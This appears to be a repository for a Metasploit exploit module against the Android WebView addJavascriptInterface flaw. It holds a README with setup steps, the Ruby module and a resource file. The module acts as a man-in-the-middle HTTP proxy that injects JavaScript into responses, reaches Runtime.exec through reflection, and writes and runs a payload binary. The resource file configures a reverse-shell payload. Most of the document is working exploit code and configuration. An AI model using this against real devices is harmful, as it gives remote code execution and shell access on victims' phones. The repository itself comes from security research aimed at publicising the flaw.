├── LICENSE
├── README.md
├── add_js_interface_mitm.rb
└── addjsif-exploit.msfrc
/LICENSE:
--------------------------------------------------------------------------------
1 | License: BSD-3-clause
2 |
3 | Redistribution and use in source and binary forms, with or without modification,
4 | are permitted provided that the following conditions are met:
5 | .
6 | * Redistributions of source code must retain the above copyright notice,
7 | this list of conditions and the following disclaimer.
8 | .
9 | * Redistributions in binary form must reproduce the above copyright notice,
10 | this list of conditions and the following disclaimer in the documentation
11 | and/or other materials provided with the distribution.
12 | .
13 | * Neither the name of Rapid7 LLC nor the names of its contributors
14 | may be used to endorse or promote products derived from this software
15 | without specific prior written permission.
16 | .
17 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
18 | ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
19 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
20 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
21 | ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
22 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
23 | LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
24 | ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
25 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
26 | SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
27 |
28 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # addjsif
2 |
3 | Metasploit Exploit Module (MITM) for the Android addJavascriptInterface Issue that plagues Ad network framworks in Android apps. For more information, check out "[On the WebView addJavascriptInterface Saga](http://www.droidsec.org/news/2014/02/26/on-the-webview-addjsif-saga.html)" and refer to the references in the module itself.
4 |
5 |
6 | ## Motivation:
7 |
8 | This project was executed in order to bring more attention to the severity of this issue.
9 |
10 |
11 | ## What is still needed:
12 |
13 | More interface names per the list in the generate_getjsif method. These are the second (last) argument to the addJavascriptInterface function in the vulnerable WebView consumers. This will ensure the exploit works on the maximum number of vulnerable applications.
14 |
15 |
16 | ## Directions for testing:
17 |
18 | ### On your Metasploit host machine:
19 |
20 | 1. Check-out the http-proxy branch (not yet merged):
21 |
22 | ```
23 | $ git clone https://github.com/jduck/metasploit-framework.git -b http-proxy
24 | ```
25 |
26 | NOTE: if you have an existing metasploit-framework checkout, you can download less data using the following commands instead:
27 |
28 | ```
29 | $ git add remote jduck https://github.com/jduck/metasploit-framework.git
30 | $ git fetch jduck
31 | $ git checkout jduck/http-proxy
32 | ```
33 |
34 | 2. Create the modules/exploits/android/mitm/http directory inside the checkout.
35 |
36 | 3. Place the module in modules/exploits/android/mitm/http directory.
37 |
38 | 4. Run the exploit module using a configuration similar to that in the included addjsif-exploit.msfrc file.
39 |
40 | ```
41 | $ msfconsole -nL -r addjsif-exploit.msfrc
42 | ```
43 |
44 | ### On your Android test device:
45 |
46 | 1. Go to Settings->Wi-Fi
47 |
48 | 2. Long press an existing connected network or connect to the one where the Metasploit instance lives.
49 |
50 | 3. Choose "Modify Network" if you are using an existing connection
51 |
52 | 4. Scroll to the bottom (both connecting and modifying now)
53 |
54 | 5. Check the "Show advanced options" box
55 |
56 | 6. Scroll down to "Proxy settings"
57 |
58 | 7. Choose "Manual" from the drop-down
59 |
60 | 8. Scroll down to see the "Proxy hostname" and "Proxy port" fields
61 |
62 | 9. Enter the Metasploit instance's IP address
63 |
64 | 10. Enter the Metasploit module's SRVPORT (8081 in the included msfrc)
65 |
66 | 11. Utilize vulnerable applications
67 |
68 |
69 | ## Known Issues:
70 |
71 | The HTTP proxy code does not currently handle intercepting SSL traffic
72 |
73 | Occasionally requests being transparently proxied may cause Metasploit to lag and stop responding. This can be fixed by:
74 |
75 | ```
76 | msf > threads -K
77 | msf > rexploit
78 | ```
79 |
80 | The linux/armle/shell/reverse_tcp (staged payload) crashes on armv7
81 |
82 |
83 |
--------------------------------------------------------------------------------
/add_js_interface_mitm.rb:
--------------------------------------------------------------------------------
1 | ##
2 | # This file is part of the Metasploit Framework and may be subject to
3 | # redistribution and commercial restrictions. Please see the Metasploit
4 | # web site for more information on licensing and terms of use.
5 | # http://metasploit.com/
6 | ##
7 |
8 | require 'thread'
9 | require 'msf/core'
10 | require 'rex/proto/proxy/http'
11 |
12 | class Metasploit3 < Msf::Exploit::Remote
13 |
14 | include Msf::Auxiliary::Report
15 |
16 | def initialize(info = {})
17 | super(update_info(info,
18 | 'Name' => 'Android WebView addJavascriptInterface MITM Code Execution',
19 | 'Description' => %q{
20 | This module exploits an issue where MITM attackers can execute
21 | arbitrary code on vulnerable Android devices. The issue is rooted in
22 | the use of the addJavascriptInterface function, which exposes Java
23 | Reflection to Javascript executing within an affected WebView. By
24 | injecting Javascript into the stream, this module uploads and
25 | executes an automatically generated payload executable.
26 |
27 | This module relies on the Rex::Proto::Proxy::Http class to function.
28 | },
29 | 'License' => MSF_LICENSE,
30 | 'Author' => [ 'jduck' ],
31 | 'References' =>
32 | [
33 | # None assigned yet?
34 | # ['CVE', '2013-'],
35 | # ['OSVDB', ''],
36 | # ['BID', ''],
37 | ['URL', 'https://labs.mwrinfosecurity.com/blog/2012/04/23/adventures-with-android-webviews/'],
38 | ['URL', 'http://50.56.33.56/blog/?p=314'],
39 | ['URL', 'https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-addjavascriptinterface-remote-code-execution/']
40 | ],
41 | 'Platform' => 'linux',
42 | 'Arch' => ARCH_ARMLE,
43 | 'Stance' => Msf::Exploit::Stance::Passive,
44 | 'DefaultOptions' =>
45 | {
46 | 'PrependFork' => true
47 | },
48 | 'Targets' =>
49 | [
50 | [ 'Automatic', {}],
51 | ],
52 | 'DisclosureDate' => 'Dec 21 2012',
53 | 'DefaultTarget' => 0))
54 |
55 | register_options(
56 | [
57 | OptString.new( 'SRVHOST', [ true, "The address to listen on", '0.0.0.0' ] ),
58 | OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 8080 ]),
59 | ], self.class)
60 | end
61 |
62 | def setup
63 | super
64 | @mutex = ::Mutex.new
65 | @hproxy = nil
66 | @getjsif = generate_getjsif()
67 | end
68 |
69 | def cleanup
70 | @mutex.synchronize do
71 | if( @hproxy )
72 | print_status( "Stopping the HTTP proxy server" )
73 | @hproxy.stop
74 | @hproxy = nil
75 | end
76 | end
77 | super
78 | end
79 |
80 | def generate_getjsif()
81 | jsifs = [
82 | # greystripe
83 | 'AdState',
84 | 'MraidController',
85 | 'DeviceInfo',
86 | 'NetworkStatus',
87 | 'Accelerometer',
88 | 'FullScreenController',
89 | 'Video',
90 | 'Preferences',
91 | 'SdkLog',
92 | 'ResponseStatus',
93 | # beintoo
94 | 'Beintoo',
95 | 'ok',
96 | 'closebt',
97 | # mopub
98 | 'mopubUriInterface',
99 | # admob
100 | 'JsProxy',
101 | # AdView / MMAdView
102 | 'interface',
103 | # MobClix
104 | 'fullscreen',
105 | 'MOBCLIX',
106 | # unknown
107 | 'video',
108 | 'FUtil',
109 | 'FUtils',
110 | 'GC',
111 | 'demo',
112 | 'FileUtils',
113 | 'JsShow',
114 | # DroidGap
115 | 'GapCam',
116 | 'Geo',
117 | 'FileUtil',
118 | 'droidStorage',
119 | # Android docs example
120 | 'Android',
121 | # Baidu/QQ browser and Qvod player?
122 | 'js2java'
123 | ]
124 |
125 | js = "function tryifs() { "
126 | jsifs.each { |jsif|
127 | # for debugging, but must call getjsif() from body onload or later
128 | #js << " document.body.innerHTML += '
#{jsif} === ' + typeof(#{jsif});\n"
129 | js << "if (!(typeof #{jsif} === 'undefined')) try1(#{jsif},\"#{jsif}\"); "
130 | }
131 | js << "}";
132 | js
133 | end
134 |
135 | def inject_html(body, js)
136 | inj_type = 'function'
137 | # Inject into html (method 1, function insertion)
138 | idx = (body =~ /function /i)
139 | if idx.nil?
140 | # Inject into html (method 2, beginning of script)
141 | idx = (body =~ /"
159 | newbody << body[idx+6, body.length]
160 |
161 | when 'in_script'
162 | newbody << ""
165 | newbody << body[idx, body.length]
166 |
167 | else
168 | newbody << js
169 | newbody << body[idx, body.length]
170 |
171 | end
172 |
173 | newbody
174 | end
175 |
176 | def on_http_request(cli, req)
177 | # we dont muck with requests...
178 | end
179 |
180 | def on_http_response(cli, res)
181 | # Print some status
182 | ct = res.headers['Content-Type'] || ''
183 | ct = ct.split(';').first || ''
184 | req = res.orig_req
185 | uri = req.uri_obj
186 | print_status("Processing response for: #{req.method} - #{uri.scheme} :// #{uri.host} : #{uri.port} #{uri.path} (#{ct})")
187 |
188 | # Build the JavaScript payload
189 | bin_data = Rex::Text.to_hex(payload.encoded_exe, '\\\\x')
190 |
191 | js = ''
192 | js << "function try1(j,n) { try { "
193 | # get the runtime so we can exec =)
194 | js << "var par = j.getClass().getName(); "
195 | js << "var m = j.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null); "
196 | js << "var data = \"#{bin_data}\"; "
197 | # get the process name, which will give us our data path =)
198 | js << "var p; "
199 | js << "p = m.invoke(null,null).exec(['/system/bin/sh', '-c', 'cat /proc/$PPID/cmdline']); "
200 | js << "var path = '/data/data/'; var ch; while ((ch = p.getInputStream().read()) != 0) { path += String.fromCharCode(ch); } "
201 | js << "path += '/x'; "
202 | # build the binary, chmod it, and execute it.
203 | js << "p = m.invoke(null,null).exec(['/system/bin/sh', '-c', 'echo \"'+data+'\" > '+path]); p.waitFor(); "
204 | js << "p = m.invoke(null,null).exec(['chmod', '700', path]); p.waitFor(); "
205 | js << "p = m.invoke(null,null).exec([path]); p.waitFor(); "
206 | js << "} catch(e) { } } "
207 | js << @getjsif.dup
208 | js << " tryifs();"
209 |
210 | # Assume we're not going to inject anything...
211 | newbody = nil
212 |
213 | # Expand the data if its gzip'd
214 | if res.headers['Content-Encoding'] == 'gzip'
215 | res.body = Rex::Text.ungzip(res.body)
216 | end
217 |
218 | # JS injection is straight forward...
219 | if uri.path[-3,3] == ".js"
220 | # Inject into raw JavaScript
221 | newbody = js
222 | newbody << res.body
223 |
224 | elsif ct == "text/html"
225 | newbody = inject_html(res.body, js)
226 | if not newbody
227 | print_error("Failed to inject JS!")
228 | end
229 |
230 | end
231 |
232 | if newbody
233 | print_status("Inejcted JS into response!")
234 | res.body = newbody
235 | end
236 |
237 | # don't spam output with image data
238 | ct_type = ct.split('/').first
239 | if not newbody and ct != 'text/css' and not [ 'image', 'application' ].include? ct_type
240 | print_status("SENDING RESPONSE DATA: #{res.body.inspect}")
241 | end
242 |
243 | # Re-compress the data if its gzip'd
244 | if res.headers['Content-Encoding'] == 'gzip'
245 | res.body = Rex::Text.gzip(res.body)
246 | end
247 |
248 | # Make sure the content length header is correct
249 | res.headers['Content-Length'] = res.body.length
250 | end
251 |
252 | def exploit
253 | opts = {
254 | 'ServerHost' => datastore['SRVHOST'],
255 | 'ServerPort' => datastore['SRVPORT'],
256 | 'Context' => {'Msf' => framework, 'MsfExploit' => self}
257 | }
258 |
259 | @hproxy = Rex::Proto::Proxy::Http.new(
260 | datastore['SRVPORT'],
261 | datastore['SRVHOST'],
262 | false,
263 | datastore['Context'])
264 |
265 | print_status("Starting the HTTP proxy server")
266 |
267 | @hproxy.on_http_request_proc = Proc.new { |cli, req|
268 | on_http_request(cli, req)
269 | }
270 | @hproxy.on_http_response_proc = Proc.new { |cli, res|
271 | on_http_response(cli, res)
272 | }
273 |
274 | @hproxy.start
275 | @hproxy.wait
276 | end
277 |
278 | end
279 |
280 |
--------------------------------------------------------------------------------
/addjsif-exploit.msfrc:
--------------------------------------------------------------------------------
1 | use exploit/android/mitm/http/add_js_interface_mitm
2 |
3 | setg SRVPORT 8081
4 | set PAYLOAD linux/armle/shell_reverse_tcp
5 | set TARGET 0
6 | exploit -j
7 |
8 |
--------------------------------------------------------------------------------